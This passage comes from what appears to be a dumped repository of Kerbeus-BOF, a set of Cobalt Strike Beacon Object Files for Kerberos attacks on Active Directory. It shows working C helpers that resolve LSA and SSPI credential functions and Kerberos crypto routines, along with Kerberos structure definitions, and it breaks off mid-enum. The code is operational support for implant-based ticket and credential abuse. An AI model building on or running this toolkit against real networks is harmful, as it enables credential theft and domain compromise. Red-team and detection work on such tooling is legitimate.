&unicodeSalt);\n\n    *hash = MemAlloc(pCSystem->KeySize);\n    if (*hash) {\n        pCSystem->HashPassword_NT6(&unicodePassword, &unicodeSalt, 4096, *hash);\n        return FALSE;\n    }\n    else {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n}\n\nBOOL get_key_aes256(char* domain, char* username, char* password, byte** hash, int* size) {\n    return get_key_aes256_with_salt(domain, username, password, NULL, hash, size);\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/functions.c",
    "content": "#pragma once\n#define SECURITY_WIN32\n\n#include \"kerb_struct.h\"\n\n#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <stdio.h>\n#include <security.h>\n\n#include <dsgetdc.h>\n#include <ntsecapi.h>\n#include \"beacon.h\"\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\n\ntypedef struct _LOGON_SESSION_DATA {\n\tPSECURITY_LOGON_SESSION_DATA* sessionData;\n\tULONG sessionCount;\n} LOGON_SESSION_DATA, *PLOGON_SESSION_DATA;\n\ntypedef CONST UNICODE_STRING* PCUNICODE_STRING;\n\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_INITIALIZE) (LPCVOID pbKey, ULONG KeySize, ULONG MessageType, PVOID* pContext);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID pbInput, ULONG cbInput, PVOID pbOutput, ULONG* cbOutput);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID pbInput, ULONG cbInput, PVOID pbOutput, ULONG* cbOutput);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_FINISH) (PVOID* pContext);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT5) (PCUNICODE_STRING Password, PVOID pbKey);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_HASHPASSWORD_NT6) (PCUNICODE_STRING Password, PCUNICODE_STRING Salt, ULONG Count, PVOID pbKey);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_RANDOMKEY) (LPCVOID Seed, ULONG SeedLength, PVOID pbKey);\ntypedef NTSTATUS(WINAPI* PKERB_ECRYPT_CONTROL) (ULONG Function, PVOID pContext, PUCHAR InputBuffer, ULONG InputBufferSize);\n\ntypedef struct _KERB_ECRYPT {\n\tULONG EncryptionType;\n\tULONG BlockSize;\n\tULONG ExportableEncryptionType;\n\tULONG KeySize;\n\tULONG HeaderSize;\n\tULONG PreferredCheckSum;\n\tULONG Attributes;\n\tPCWSTR Name;\n\tPKERB_ECRYPT_INITIALIZE Initialize;\n\tPKERB_ECRYPT_ENCRYPT Encrypt;\n\tPKERB_ECRYPT_DECRYPT Decrypt;\n\tPKERB_ECRYPT_FINISH Finish;\n\tunion {\n\t\tPKERB_ECRYPT_HASHPASSWORD_NT5 HashPassword_NT5;\n\t\tPKERB_ECRYPT_HASHPASSWORD_NT6 HashPassword_NT6;\n\t};\n\tPKERB_ECRYPT_RANDOMKEY RandomKey;\n\tPKERB_ECRYPT_CONTROL Control;\n\tPVOID unk0_null;\n\tPVOID unk1_null;\n\tPVOID unk2_null;\n} KERB_ECRYPT, * PKERB_ECRYPT;\n\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_INITIALIZE) (ULONG dwSeed, PVOID* pContext);\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_SUM) (PVOID pContext, ULONG cbData, LPCVOID pbData);\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_FINALIZE) (PVOID pContext, PVOID pbSum);\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_FINISH) (PVOID* pContext);\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, ULONG KeySize, ULONG MessageType, PVOID* pContext);\ntypedef NTSTATUS(WINAPI* PKERB_CHECKSUM_INITIALIZEEX2)(LPCVOID Key, ULONG KeySize, LPCVOID ChecksumToVerify, ULONG MessageType, PVOID* pContext);\n\ntypedef struct _KERB_CHECKSUM {\n\tULONG CheckSumType;\n\tULONG CheckSumSize;\n\tULONG Attributes;\n\tPKERB_CHECKSUM_INITIALIZE Initialize;\n\tPKERB_CHECKSUM_SUM Sum;\n\tPKERB_CHECKSUM_FINALIZE Finalize;\n\tPKERB_CHECKSUM_FINISH Finish;\n\tPKERB_CHECKSUM_INITIALIZEEX InitializeEx;\n\tPKERB_CHECKSUM_INITIALIZEEX2 InitializeEx2;\n} KERB_CHECKSUM, * PKERB_CHECKSUM;\n\ntypedef NTSTATUS(WINAPI* pCDLocateCheckSum)(ULONG Type, PKERB_CHECKSUM* ppCheckSum);\ntypedef NTSTATUS(WINAPI* pRtlAnsiStringToUnicodeString)(PUNICODE_STRING DestinationString, STRING* SourceString, BOOLEAN AllocateDestinationString);\ntypedef NTSTATUS(WINAPI* pRtlInitAnsiString)(STRING* DestinationString, char* SourceString);\ntypedef NTSTATUS(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);\ntypedef NTSTATUS(WINAPI* pCDLocateCSystem)(ULONG Type, PKERB_ECRYPT* ppCSystem);\n\n#define KERNEL32$GetCurrentProcess() (HANDLE)(-1)\n#define KERNEL32$GetCurrentThread() (HANDLE)(-2)\n\nWINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName, LPCSTR DomainName, GUID* DomainGuid, LPCSTR SiteName, ULONG Flags, PDOMAIN_CONTROLLER_INFOA* DomainControllerInfo);\nWINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer);\n\nDECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError();\nDECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char* host, char* port, const struct addrinfo* hints, struct addrinfo** result);\nDECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);\nDECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock);\nDECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET s, const char* buf, int len, int flags);\nDECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET s, char* buf, int len, int flags);\nDECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET, const SOCKADDR*, INT);\nDECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo* ai);\nDECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup();\nDECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData);\n\nWINBASEAPI int __cdecl MSVCRT$sprintf(char* __stream, const char* __format, ...);\nWINBASEAPI int __cdecl MSVCRT$vsnprintf(char* d, size_t n, const char* format, va_list arg);\nWINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount);\n\nWINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\n\nWINBASEAPI LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI BOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nWINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);\nWINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\nWINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nWINBASEAPI BOOL WINAPI KERNEL32$GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError();\nWINBASEAPI BOOL WINAPI KERNEL32$SystemTimeToFileTime(CONST SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime);\nWINBASEAPI VOID WINAPI KERNEL32$GetLocalTime(LPSYSTEMTIME lpSystemTime);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemTime(LPSYSTEMTIME lpSystemTime);\n\n\ntypedef WINADVAPI BOOL (WINAPI* _ConvertSidToStringSidA)(PSID Sid,LPSTR *StringSid);\ntypedef WINADVAPI BOOL (__stdcall* _SystemFunction036)(_Out_writes_bytes_(RandomBufferLength) PVOID RandomBuffer, _In_ ULONG RandomBufferLength);\ntypedef WINADVAPI BOOL (WINAPI* _GetTokenInformation)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\ntypedef WINADVAPI BOOL (WINAPI* _OpenThreadToken)(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle);\ntypedef WINADVAPI BOOL (WINAPI* _OpenProcessToken)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\ntypedef WINADVAPI BOOL (WINAPI* _AllocateAndInitializeSid)(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority, BYTE nSubAuthorityCount, DWORD nSubAuthority0, DWORD nSubAuthority1, DWORD nSubAuthority2, DWORD nSubAuthority3, DWORD nSubAuthority4, DWORD nSubAuthority5, DWORD nSubAuthority6, DWORD nSubAuthority7, PSID* pSid);\ntypedef WINADVAPI BOOL (WINAPI* _EqualSid)(PSID pSid1, PSID pSid2);\ntypedef WINADVAPI PVOID (WINAPI* _FreeSid)(PSID pSid);\n\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaConnectUntrusted)(PHANDLE LsaHandle);\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaRegisterLogonProcess)(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode);\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaGetLogonSessionData)(PLUID LogonId, PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaEnumerateLogonSessions)(PULONG LogonSessionCount, PLUID* LogonSessionList);\ntypedef WINBASEAPI NTSTATUS (NTAPI* _LsaFreeReturnBuffer)(PVOID Buffer);\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaCallAuthenticationPackage)(HANDLE LsaHandle, ULONG AuthenticationPackage, PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength, PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength, PNTSTATUS ProtocolStatus);\ntypedef WINBASEAPI NTSTATUS (NTAPI* _LsaDeregisterLogonProcess)(HANDLE LsaHandle);\ntypedef WINBASEAPI NTSTATUS (WINAPI* _LsaLookupAuthenticationPackage)(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage);\ntypedef WINBASEAPI DWORD (WINAPI * _InitializeSecurityContextA)(PCredHandle, PCtxtHandle, SEC_CHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long*, PTimeStamp);\ntypedef WINBASEAPI SECURITY_STATUS (WINAPI* _DeleteSecurityContext)(PCtxtHandle phContext);\ntypedef WINBASEAPI SECURITY_STATUS (WINAPI* _FreeCredentialsHandle)(PCredHandle phCredential);\ntypedef WINBASEAPI SECURITY_STATUS (WINAPI* _AcquireCredentialsHandleA)(SEC_CHAR* pszPrincipal, SEC_CHAR* pszPackage, unsigned int fCredentialUse, void* pvLogonId, void* pAuthData, SEC_GET_KEY_FN pGetKeyFn, void* pvGetKeyArgument, PCredHandle phCredential, PTimeStamp ptsExpiry);\n\n\n#define OutBlockSize 8192\n\nLPVOID* MEMORY_BANK    __attribute__((section(\".data\"))) = 0;\nDWORD   BANK_COUNT     __attribute__((section(\".data\"))) = 0;\nchar*   globalOut      __attribute__((section(\".data\"))) = 0;\nWORD    globalOutSize  __attribute__((section(\".data\"))) = 0;\nWORD    currentOutSize __attribute__((section(\".data\"))) = 0;\n\n_ConvertSidToStringSidA   ADVAPI32$ConvertSidToStringSidA   __attribute__((section(\".data\"))) = 0;\n_SystemFunction036        ADVAPI32$SystemFunction036        __attribute__((section(\".data\"))) = 0;\n_GetTokenInformation      ADVAPI32$GetTokenInformation      __attribute__((section(\".data\"))) = 0;\n_OpenThreadToken          ADVAPI32$OpenThreadToken          __attribute__((section(\".data\"))) = 0;\n_OpenProcessToken         ADVAPI32$OpenProcessToken         __attribute__((section(\".data\"))) = 0;\n_AllocateAndInitializeSid ADVAPI32$AllocateAndInitializeSid __attribute__((section(\".data\"))) = 0;\n_EqualSid                 ADVAPI32$EqualSid                 __attribute__((section(\".data\"))) = 0;\n_FreeSid                  ADVAPI32$FreeSid                  __attribute__((section(\".data\"))) = 0;\n\npRtlAnsiStringToUnicodeString RtlAnsiStringToUnicodeString __attribute__((section(\".data\"))) = 0;\npRtlInitUnicodeString         RtlInitUnicodeString         __attribute__((section(\".data\"))) = 0;\npRtlInitAnsiString            RtlInitAnsiString            __attribute__((section(\".data\"))) = 0;\npCDLocateCheckSum             CDLocateCheckSum             __attribute__((section(\".data\"))) = 0;\npCDLocateCSystem              CDLocateCSystem              __attribute__((section(\".data\"))) = 0;\n\n_LsaConnectUntrusted            SECUR32$LsaConnectUntrusted            __attribute__((section(\".data\"))) = 0;\n_LsaRegisterLogonProcess        SECUR32$LsaRegisterLogonProcess        __attribute__((section(\".data\"))) = 0;\n_LsaGetLogonSessionData         SECUR32$LsaGetLogonSessionData         __attribute__((section(\".data\"))) = 0;\n_LsaEnumerateLogonSessions      SECUR32$LsaEnumerateLogonSessions      __attribute__((section(\".data\"))) = 0;\n_LsaFreeReturnBuffer            SECUR32$LsaFreeReturnBuffer            __attribute__((section(\".data\"))) = 0;\n_LsaCallAuthenticationPackage   SECUR32$LsaCallAuthenticationPackage   __attribute__((section(\".data\"))) = 0;\n_LsaDeregisterLogonProcess      SECUR32$LsaDeregisterLogonProcess      __attribute__((section(\".data\"))) = 0;\n_LsaLookupAuthenticationPackage SECUR32$LsaLookupAuthenticationPackage __attribute__((section(\".data\"))) = 0;\n_InitializeSecurityContextA     SECUR32$InitializeSecurityContextA     __attribute__((section(\".data\"))) = 0;\n_DeleteSecurityContext          SECUR32$DeleteSecurityContext          __attribute__((section(\".data\"))) = 0;\n_FreeCredentialsHandle          SECUR32$FreeCredentialsHandle          __attribute__((section(\".data\"))) = 0;\n_AcquireCredentialsHandleA      SECUR32$AcquireCredentialsHandleA      __attribute__((section(\".data\"))) = 0;\n\nLPVOID MemAlloc(SIZE_T dwBytes) {\n    LPVOID mem = KERNEL32$VirtualAlloc(NULL, dwBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n    MEMORY_BANK[BANK_COUNT++] = mem;\n    return mem;\n}\n\nvoid MemCpy(PBYTE d, PBYTE s, DWORD n) {\n    if (d && s)\n        MSVCRT$memcpy(d, s, n);\n}\n\nvoid FreeBank() {\n    for (int i = 0; i < BANK_COUNT; i++) {\n        KERNEL32$VirtualFree(MEMORY_BANK[i], 0, MEM_RELEASE);\n    }\n    KERNEL32$VirtualFree(MEMORY_BANK, 0, MEM_RELEASE);\n}\n\nvoid SEND_OUT(BOOL done) {\n    if (currentOutSize > 0) {\n        BeaconOutput(CALLBACK_OUTPUT, globalOut, currentOutSize);\n\n        for (int i = 0; i < currentOutSize; i++)\n            globalOut[i] = 0;\n\n        currentOutSize = 0;\n    }\n    if (done) {\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, globalOut );\n\n    }\n}\n\nint INIT_BOF() {\n    globalOut = KERNEL32$HeapAlloc( KERNEL32$GetProcessHeap(), 0, OutBlockSize );\n    globalOutSize = OutBlockSize;\n    return 1;\n}\n\nvoid PRINT_OUT(char* format, ...) {\n    va_list args;\n    va_start( args, format );\n    int bufSize = MSVCRT$vsnprintf( NULL, 0, format, args );\n    va_end(args);\n\n    if (bufSize == -1)\n        return;\n\n    if (bufSize + currentOutSize < globalOutSize) {\n        va_start(args, format);\n        MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize + 1, format, args);\n        va_end(args);\n        currentOutSize += bufSize;\n    }\n    else {\n        SEND_OUT(FALSE);\n        if (bufSize <= globalOutSize) {\n            va_start(args, format);\n            MSVCRT$vsnprintf(globalOut + currentOutSize, bufSize + 1, format, args);\n            va_end(args);\n            currentOutSize += bufSize;\n        } else {\n            char* tmpOut = MemAlloc( bufSize + 1 );\n            va_start(args, format);\n            MSVCRT$vsnprintf(tmpOut, bufSize + 1, format, args);\n            va_end(args);\n            BeaconOutput(CALLBACK_OUTPUT, tmpOut, bufSize);\n//            MemFree(tmpOut);\n        }\n    }\n}\n\nvoid END_BOF() {\n    SEND_OUT(TRUE);\n}\n\nBOOL LoadFunc() {\n    HMODULE crypt = GetModuleHandleA(\"CRYPTDLL\");\n    if (!crypt) crypt = LoadLibraryA(\"CRYPTDLL\");\n    if (!crypt) {\n        PRINT_OUT(\"[x] Failed to load CRYPTDLL module\\n\");\n        goto failed;\n    }\n\n    CDLocateCheckSum = GetProcAddress(crypt, \"CDLocateCheckSum\");\n    if (!CDLocateCheckSum) goto failed;\n\n    CDLocateCSystem = GetProcAddress(crypt, \"CDLocateCSystem\");\n    if (!CDLocateCSystem) goto failed;\n\n\n\n    HMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\n    if (!ntdll) goto failed;\n\n    RtlAnsiStringToUnicodeString = GetProcAddress(ntdll, \"RtlAnsiStringToUnicodeString\");\n    if (!RtlAnsiStringToUnicodeString) goto failed;\n\n    RtlInitUnicodeString = GetProcAddress(ntdll, \"RtlInitUnicodeString\");\n    if (!RtlInitUnicodeString) goto failed;\n\n    RtlInitAnsiString = GetProcAddress(ntdll, \"RtlInitAnsiString\");\n    if (!RtlInitAnsiString) goto failed;\n\n\n\n\n    HMODULE advapi = GetModuleHandleA(\"ADVAPI32\");\n    if (!advapi)\n        advapi = LoadLibraryA(\"ADVAPI32\");\n    if (!advapi) {\n        PRINT_OUT(\"[x] Failed to load ADVAPI32 module\\n\");\n        goto failed;\n    }\n\n    ADVAPI32$ConvertSidToStringSidA = GetProcAddress(advapi, \"ConvertSidToStringSidA\");\n    if (!ADVAPI32$ConvertSidToStringSidA) goto failed;\n\n    ADVAPI32$SystemFunction036 = GetProcAddress(advapi, \"SystemFunction036\");\n    if (!ADVAPI32$SystemFunction036) goto failed;\n\n    ADVAPI32$GetTokenInformation = GetProcAddress(advapi, \"GetTokenInformation\");\n    if (!ADVAPI32$GetTokenInformation) goto failed;\n\n    ADVAPI32$OpenThreadToken = GetProcAddress(advapi, \"OpenThreadToken\");\n    if (!ADVAPI32$OpenThreadToken) goto failed;\n\n    ADVAPI32$OpenProcessToken = GetProcAddress(advapi, \"OpenProcessToken\");\n    if (!ADVAPI32$OpenProcessToken) goto failed;\n\n    ADVAPI32$AllocateAndInitializeSid = GetProcAddress(advapi, \"AllocateAndInitializeSid\");\n    if (!ADVAPI32$AllocateAndInitializeSid) goto failed;\n\n    ADVAPI32$EqualSid = GetProcAddress(advapi, \"EqualSid\");\n    if (!ADVAPI32$EqualSid) goto failed;\n\n    ADVAPI32$FreeSid = GetProcAddress(advapi, \"FreeSid\");\n    if (!ADVAPI32$FreeSid) goto failed;\n\n    HMODULE secur32 = GetModuleHandleA(\"SECUR32\");\n    if (!secur32)\n        secur32 = LoadLibraryA(\"SECUR32\");\n    if (!secur32) {\n        PRINT_OUT(\"[x] Failed to load SECUR32 module\\n\");\n        goto failed;\n    }\n\n    SECUR32$LsaConnectUntrusted = GetProcAddress(secur32, \"LsaConnectUntrusted\");\n    if (!SECUR32$LsaConnectUntrusted) goto failed;\n\n    SECUR32$LsaRegisterLogonProcess = GetProcAddress(secur32, \"LsaRegisterLogonProcess\");\n    if (!SECUR32$LsaRegisterLogonProcess) goto failed;\n\n    SECUR32$LsaGetLogonSessionData = GetProcAddress(secur32, \"LsaGetLogonSessionData\");\n    if (!SECUR32$LsaGetLogonSessionData) goto failed;\n\n    SECUR32$LsaEnumerateLogonSessions = GetProcAddress(secur32, \"LsaEnumerateLogonSessions\");\n    if (!SECUR32$LsaEnumerateLogonSessions) goto failed;\n\n    SECUR32$LsaFreeReturnBuffer = GetProcAddress(secur32, \"LsaFreeReturnBuffer\");\n    if (!SECUR32$LsaFreeReturnBuffer) goto failed;\n\n    SECUR32$LsaCallAuthenticationPackage = GetProcAddress(secur32, \"LsaCallAuthenticationPackage\");\n    if (!SECUR32$LsaCallAuthenticationPackage) goto failed;\n\n    SECUR32$LsaDeregisterLogonProcess = GetProcAddress(secur32, \"LsaDeregisterLogonProcess\");\n    if (!SECUR32$LsaDeregisterLogonProcess) goto failed;\n\n    SECUR32$LsaLookupAuthenticationPackage = GetProcAddress(secur32, \"LsaLookupAuthenticationPackage\");\n    if (!SECUR32$LsaLookupAuthenticationPackage) goto failed;\n\n    SECUR32$InitializeSecurityContextA = GetProcAddress(secur32, \"InitializeSecurityContextA\");\n    if (!SECUR32$InitializeSecurityContextA) goto failed;\n\n    SECUR32$DeleteSecurityContext = GetProcAddress(secur32, \"DeleteSecurityContext\");\n    if (!SECUR32$DeleteSecurityContext) goto failed;\n\n    SECUR32$FreeCredentialsHandle = GetProcAddress(secur32, \"FreeCredentialsHandle\");\n    if (!SECUR32$FreeCredentialsHandle) goto failed;\n\n    SECUR32$AcquireCredentialsHandleA = GetProcAddress(secur32, \"AcquireCredentialsHandleA\");\n    if ( !SECUR32$AcquireCredentialsHandleA) goto failed;\n\n    MEMORY_BANK = KERNEL32$VirtualAlloc(NULL, sizeof(void*) * 0x1000, MEM_COMMIT, PAGE_READWRITE);\n    BANK_COUNT = 0;\n\n    return FALSE;\n\nfailed:\n    return TRUE;\n\n}\n\n\n\nint my_strncmp(const char* s1, const char* s2, int len) {\n    int i = 0;\n    while ((s1[i] != 0) && (s1[i] == s2[i]) && (i < len))\n        i++;\n    if (i == len)\n        return 0;\n    else\n        return (int)((unsigned char)s1[i] - (unsigned char)s2[i]);\n}\n\nint my_strcmp(const char* s1, const char* s2) {\n    while (*s1 != 0 && *s1 == *s2) {\n        s1++;\n        s2++;\n    }\n    return (int)((unsigned char)*s1 - (unsigned char)*s2);\n}\n\nint my_strfind(const char* s, char c) {\n    int index = 0;\n    while (*s != '\\0') {\n        if (*s == c)\n            return index;\n\n        s++;\n        index++;\n    }\n    return -1;\n}\n\nint my_strlen(char* str) {\n    const char *s = str;\n    while (*s) {\n        ++s;\n        if (*(s - 1) == '\\0' && *s == '\\0') break;\n    }\n    return s - str;\n}\n\nBOOL my_copybuf(byte** dst, byte* src, size_t size) {\n    *dst = MemAlloc(size);\n    if (!*dst)\n        return TRUE;\n\n    MemCpy(*dst, src, size);\n    return FALSE;\n}\n\n\n\nchar my_toupper(char c) {\n    if (c >= 'a' && c <= 'z')\n        return c - ('a' - 'A');\n\n    return c;\n}\n\nchar my_tolower(char c) {\n    if (c >= 'A' && c <= 'Z')\n        return c + ('a' - 'A');\n\n    return c;\n}\n\nint my_tohex(byte* bytes, int length, char** hexString, int retLength) {\n    if (retLength < length * 2 + 1)\n        return 0;\n\n    for (int i = 0; i < length; i++) {\n        (*hexString)[i * 2] = (bytes[i] >> 4) & 0xF;\n        (*hexString)[i * 2 + 1] = bytes[i] & 0xF;\n        (*hexString)[i * 2] += ((*hexString)[i * 2] < 10) ? '0' : 'A' - 10;\n        (*hexString)[i * 2 + 1] += ((*hexString)[i * 2 + 1] < 10) ? '0' : 'A' - 10;\n    }\n    (*hexString)[length * 2] = 0;\n    return retLength;\n}\n\nint my_strgetcount( char* str, char c ) {\n    int count = 0;\n    int index = 0;\n    while ( str[index]) {\n        if ( str[index] == c )\n            count++;\n        index++;\n    }\n    return count;\n}\n\nchar** my_strsplit( char* str, char c, int* count ) {\n    int partCount = my_strgetcount(str, c) + 1;\n    char** parts = MemAlloc(partCount * sizeof(void*));\n    parts[0] = str;\n\n    int partIndex = 1;\n    int index = 0;\n\n    while (str[index] && partIndex < partCount) {\n        if (str[index] == c) {\n            str[index] = 0;\n            parts[partIndex] = str + index + 1;\n            partIndex++;\n        }\n        index++;\n    }\n    *count = partCount;\n    return parts;\n}\n\nvoid StrToUpper(char* str) {\n    while (*str != '\\0') {\n        *str = my_toupper(*str);\n        str++;\n    }\n}\n\nvoid StrToLower(char* str) {\n    while (*str != '\\0') {\n        *str = my_tolower(*str);\n        str++;\n    }\n}\n\nvoid GetDomainInfo(char** domain, char** dc) {\n    if ((domain && *domain == NULL) || (dc && *dc == NULL)) {\n        PDOMAIN_CONTROLLER_INFOA pDomainControllerInfo = NULL;\n        DWORD dwError = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, DS_DIRECTORY_SERVICE_REQUIRED, &pDomainControllerInfo);\n        if (dwError == ERROR_SUCCESS) {\n            if (domain && *domain == NULL)\n                my_copybuf(domain, pDomainControllerInfo->DomainName, my_strlen(pDomainControllerInfo->DomainName) + 1);\n\n            if (dc && *dc == NULL)\n                my_copybuf(dc, ((char*)pDomainControllerInfo->DomainControllerName) + 2, my_strlen(((char*)pDomainControllerInfo->DomainControllerName) + 2) + 1);\n\n            if (pDomainControllerInfo != NULL)\n                NETAPI32$NetApiBufferFree(pDomainControllerInfo);\n        }\n    }\n}\n\nint GetStrParam(PCHAR buffer, DWORD bufferLength, PCHAR param, DWORD paramLength, PCHAR* Value){\n    if ( my_strncmp(buffer, param, paramLength) == 0 ) {\n        int ind = my_strfind(buffer + paramLength, ' ');\n        if (ind == -1)\n            ind = bufferLength - paramLength - 1;\n        my_copybuf(Value, buffer + paramLength, ind + 1);\n        (*Value)[ind] = 0;\n        return paramLength + ind;\n    }\n    return 0;\n}\n\nint IsSetParam( PCHAR buffer, DWORD bufferLength, PCHAR param, DWORD paramLength, BOOL* Value ){\n    if ( my_strncmp(buffer, param, paramLength) == 0 && (buffer[paramLength] == ' ' || buffer[paramLength] == 0) ) {\n        *Value = TRUE;\n        return paramLength;\n    }\n    return 0;\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/kerb_struct.h",
    "content": "#pragma once\n\ntypedef unsigned int uint;\ntypedef unsigned char byte;\n\n#if !(__GNUC__ >= 15)\ntypedef int bool;\n#define true 1\n#define false 0\n#endif\n\nenum KRB_KEY_USAGE {\n\tKRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1,\n\tKRB_KEY_USAGE_AS_REP_TGS_REP = 2,\n\tKRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3,\n\tKRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA = 4,\n\tKRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7,\n\tKRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8,\n\tKRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11,\n\tKRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13,\n\tKRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14,\n\tKRB_KEY_USAGE_KRB_NON_KERB_SALT = 16,\n\tKRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT = 17,\n\tKRB_KEY_USAGE_PA_S4U_X509_USER = 26,\n};\n\nenum KERB_CHECKSUM_ALGORITHM {\n\tKERB_CHECKSUM_NONE = 0,\n\tKERB_CHECKSUM_RSA_MD4 = 2,\n\tKERB_CHECKSUM_RSA_MD5 = 7,\n\tKERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,\n\tKERB_CHECKSUM_HMAC_SHA1_96_AES256 = 16,\n\tKERB_CHECKSUM_DES_MAC = -133,\n\tKERB_CHECKSUM_HMAC_MD5 = -138,\n};\n\nenum KERB_ETYPE {\n\tdes_cbc_crc = 1,\n\tdes_cbc_md4 = 2,\n\tdes_cbc_md5 = 3,\n\tdes3_cbc_md5 = 5,\n\tdes3_cbc_sha1 = 7,\n\tdsaWithSHA1_CmsOID = 9,\n\tmd5WithRSAEncryption_CmsOID = 10,\n\tsha1WithRSAEncryption_CmsOID = 11,\n\trc2CBC_EnvOID = 12,\n\trsaEncryption_EnvOID = 13,\n\trsaES_OAEP_ENV_OID = 14,\n\tdes_ede3_cbc_Env_OID = 15,\n\tdes3_cbc_sha1_kd = 16,\n\taes128_cts_hmac_sha1 = 17,\n\taes256_cts_hmac_sha1 = 18,\n\trc4_hmac = 23,\n\trc4_hmac_exp = 24,\n\tsubkey_keymaterial = 65,\n\told_exp = -135,\n};\n\nenum HostAddressType {\n\tADDRTYPE_UNIX_NULL = 0,\n\tADDRTYPE_UNIX = 1,\n\tADDRTYPE_INET = 2,\n\tADDRTYPE_IMPLINK = 3,\n\tADDRTYPE_PUP = 4,\n\tADDRTYPE_CHAOS = 5,\n\tADDRTYPE_XNS = 6,\n\tADDRTYPE_IPX = 6,\n\tADDRTYPE_OSI = 7,\n\tADDRTYPE_ECMA = 8,\n\tADDRTYPE_DATAKIT = 9,\n\tADDRTYPE_CCITT = 10,\n\tADDRTYPE_SNA = 11,\n\tADDRTYPE_DECNET = 12,\n\tADDRTYPE_DLI = 13,\n\tADDRTYPE_LAT = 